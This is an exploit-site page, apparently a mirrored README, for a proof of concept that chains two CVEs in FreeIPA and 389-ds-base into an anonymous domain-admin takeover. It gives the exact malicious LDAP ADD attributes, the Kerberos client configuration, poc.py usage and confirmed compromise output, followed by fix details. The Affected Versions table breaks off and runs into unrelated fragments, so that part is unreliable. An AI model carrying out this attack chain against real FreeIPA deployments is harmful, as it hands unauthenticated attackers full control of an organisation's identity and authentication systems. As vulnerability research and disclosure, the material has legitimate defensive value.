Sploitus

Exploit for CVE-2026-76578 CVE-2026-76560 CVE-2026-76578

githubexploit Β· 2026-09-09

Exploit Code

README252 lines
## https://sploitus.com/exploit?id=EDA76119-7B8C-53D2-A4B1-38396AB1D337
# CVE-2026-76578 β€” FreeIPA Anonymous Admin Takeover

**Product:** FreeIPA 4.9.x – 4.13.3  
**Severity:** Critical (CVSS 9.8)  
**Fixed:** FreeIPA 4.13.4 / 389-ds-base 3.2.0-10.el10_2 (RHSA-2026:64785)

---

## Legal Notice

This proof-of-concept was developed and executed exclusively within an
**isolated, privately owned lab environment** for the purpose of authorized
security research and vulnerability validation.

**Before using this script:**

- Use only against systems you own or have been explicitly authorised to test
- Verify that the target environment and scope match your engagement rules of
  engagement before execution

The authors accept no liability for misuse. This code is provided for
**defensive research and authorised penetration testing only**.

> **Note on portability:** this script was validated against the specific
> package versions listed in the Test Environment section below. Behaviour on
> other OS versions, patch levels, or non-default FreeIPA configurations may
> differ. Always verify results independently in a controlled environment
> before drawing conclusions about a production target.

---

## Test Environment

| Parameter | Value |
|---|---|
| OS | Fedora 44 (x86_64) |
| FreeIPA | `freeipa-server-4.13.1-9.fc44` |
| 389-ds-base | `389-ds-base-3.2.0-15.fc44` |
| MIT Kerberos | `krb5-libs-1.21.x` |
| Realm | `TEST.LOCAL` |
| Domain | `test.local` |
| Server IP | `192.168.1.11` |
| Hostname | `ipa-master.test.local` |
| Attack host | Kali Linux (external, no domain membership) |

---

## Vulnerability Summary

An unauthenticated LDAP client can add an OTP token entry under `cn=otp` and
obtain full FreeIPA domain administrator rights. Two flaws combine:

**CVE-2026-76578 (FreeIPA)** β€” the OTP ADD ACI has no `targetattr` restriction,
so anonymous ADD can include any attribute: `krbPrincipalAux`, `krbCanonicalName`,
`userPassword`, `krbLastPwdChange`, etc.

**CVE-2026-76560 (389-ds-base)** β€” the SELFDN evaluator treats `""` (empty
string) as matching the anonymous bind DN, bypassing the `ipatokenOwner#SELFDN`
ownership check.

### Zero-credential key generation

The critical insight β€” no pre-captured blob, no master key access needed:

Adding `objectClass: inetOrgPerson` + `userPassword` to the entry triggers the
**389-DS `ipapwd` plugin** which automatically generates `krbPrincipalKey`
server-side, encrypting it with the target realm's `krbMKey`. The attacker
supplies a plaintext password; the server derives the Kerberos key internally.

Setting `krbLastPwdChange: 20200101000000Z` (past date) in the same ADD bypasses
the `krbMinPwdLife` policy that would otherwise require an interactive password
change before `kinit` succeeds.

---

## CVEs

| CVE | Component | Description |
|---|---|---|
| **CVE-2026-76578** | FreeIPA | OTP ACI lacks `targetattr` β€” any attribute passes anonymous ADD |
| **CVE-2026-76560** | 389-ds-base | SELFDN evaluator accepts `""` as anonymous bind DN |

---

## Attack Chain

```
Anonymous LDAP ADD (port 389, zero credentials)
  ipatokenOwner: ""              ← CVE-2026-76560: SELFDN "" == anonymous DN
  objectClass: inetOrgPerson     ← enables userPassword attribute
  userPassword: PwnedPass1!      ← CVE-2026-76578: no targetattr restriction
  krbCanonicalName: admin@REALM  ← not in kerberos uniqueness plugin for cn=otp
  krbLastPwdChange: 20200101     ← bypass krbMinPwdLife policy
        ↓
  389-DS ipapwd: userPassword β†’ krbPrincipalKey (server-side, target's krbMKey)
        ↓
kinit attacker@REALM β†’ TGT: Default principal: admin@REALM
        ↓
GSSAPI bind β†’ dn: uid=admin,cn=users,cn=accounts,…
        ↓
uid=admin ∈ cn=admins β†’ full domain administrator
```

---

## Affected Versions

| Component | Vulnerable | Fixed |
|---|---|---|
| FreeIPA | 4.9.x – 4.13.3 | **4.13.4** |
| 389-ds-base (RHEL 10) |   ipa-master.test.local
```

**`/etc/krb5.conf`** β€” `canonicalize = true` required for Level 3:
```ini
[libdefaults]
    default_realm = TEST.LOCAL
    canonicalize = true
    forwardable = true
    rdns = false

[realms]
    TEST.LOCAL = {
        kdc = ipa-master.test.local
    }

[domain_realm]
    .test.local = TEST.LOCAL
    test.local = TEST.LOCAL
```

---

## Usage

```bash
python3 poc.py   

# Test lab:
python3 poc.py 192.168.1.11 ipa-master.test.local TEST.LOCAL

# Other lab:
python3 poc.py 10.10.10.5 ipa.corp.local CORP.LOCAL
```

---

## Results

```
── TEST 1: Anonymous ADD β€” server-side krbPrincipalKey generation ───
  [+] ADD succeeded: ipatokenuniqueid=pwn-...,cn=otp,dc=test,dc=local
  [+] Server generated krbPrincipalKey from userPassword (ipapwd plugin)
  [+] TGT obtained β€” LEVEL 1 CONFIRMED
      Default principal: pwn-...@TEST.LOCAL

── TEST 2: GSSAPI LDAP bind ─────────────────────────────────────────
  [+] GSSAPI bind succeeded: dn: ipatokenuniqueid=pwn-...,cn=otp,...
  [+] LEVEL 2 CONFIRMED

── TEST 3: krbCanonicalName=admin collision ──────────────────────────
  [+] ADD with krbCanonicalName=admin@TEST.LOCAL succeeded
  [+] TGT obtained β€” ticket claims principal: admin@TEST.LOCAL
  [+] TGT cname is admin β€” LEVEL 3 CONFIRMED
  [+] GSSAPI bind: dn: uid=admin,cn=users,cn=accounts,dc=test,dc=local
  [+] uid=admin is member of cn=admins β€” real admin rights confirmed

════════════════════════════════════════════════════════════
  CVE-2026-76578 β€” Result Summary
════════════════════════════════════════════════════════════
  Level 1 β€” Server-side krbPrincipalKey + TGT    [βœ“] CONFIRMED
  Level 2 β€” GSSAPI LDAP / Kerberos auth          [βœ“] CONFIRMED
  Level 3 β€” Real admin group membership           [βœ“] CONFIRMED

  Full zero-credential compromise chain reproduced.
  No pre-captured blob required.
════════════════════════════════════════════════════════════
```

---

## Technical Notes

### Why userPassword instead of krbPrincipalKey directly

`krbPrincipalKey` is encrypted with the target's `krbMKey` (master key).
The master key is stored in LDAP at `cn=REALM,cn=kerberos` and is readable only
by Directory Manager β€” not anonymously, not by `uid=admin` via GSSAPI.

Injecting `krbPrincipalKey` directly is impossible without the master key.
Injecting `userPassword` delegates key generation to the server's `ipapwd`
plugin, which has internal access to `krbMKey` and performs the encryption
transparently. The ACI (CVE-2026-76578) allows `userPassword` through with no
`targetattr` check.

### Why krbCanonicalName collision works

The kerberos uniqueness plugin enforces uniqueness on `krbPrincipalName` and
`krbPrincipalAlias` across the full suffix, but **not** on `krbCanonicalName`.
A new entry in `cn=otp` with `krbCanonicalName: admin@REALM` does not conflict
with the real `admin` principal.

With `canonicalize = true` on the client, `kinit attacker@REALM` retrieves the
entry by `krbPrincipalName`, but the KDC issues the TGT with
`cname = krbCanonicalName = admin@REALM`. GSSAPI resolves this to the real
`uid=admin` DN β€” already a legitimate member of `cn=admins`. No group
modification is performed.

### krbMinPwdLife bypass

When `userPassword` is added, `ipapwd` sets `krbPasswordExpiration` to now
(expired) and `krbLastPwdChange` to now. With default `krbMinPwdLife = 3600s`,
`kinit` would prompt for a password change before issuing a TGT.

Setting `krbLastPwdChange: 20200101000000Z` in the original ADD overrides the
plugin value to six years in the past, satisfying the minimum lifetime check.
`krbPasswordExpiration: 20990101000000Z` prevents the expiry prompt. Both
attributes are accepted because the OTP ACI has no `targetattr` restriction.

---

## Lab Setup

To deploy a vulnerable FreeIPA instance on a fresh VM:

```bash
# On Fedora 44 / RHEL 9-10 VM (needs root, 4GB RAM, 20GB disk)
bash setup_lab.sh [REALM] [DOMAIN] [HOSTNAME] [PASSWORD]

# Default:
bash setup_lab.sh TEST.LOCAL test.local ipa-master.test.local Secret123
```

---

## Fix

```bash
dnf update freeipa-server   # β†’ 4.13.4
dnf update 389-ds-base      # β†’ 3.2.0-10.el10_2 (RHEL 10)
```

FreeIPA 4.13.4 adds an explicit `targetattr` allowlist to the OTP ACI, blocking
anonymous injection of `userPassword`, `krbPrincipalAux`, `krbPrincipalKey`, and
`krbCanonicalName`.

389-ds-base 3.2.0-10.el10_2 corrects the SELFDN evaluator to reject `""` as a
matching DN for anonymous binds.

Both fixes are required independently β€” either alone reduces but does not
eliminate the attack surface.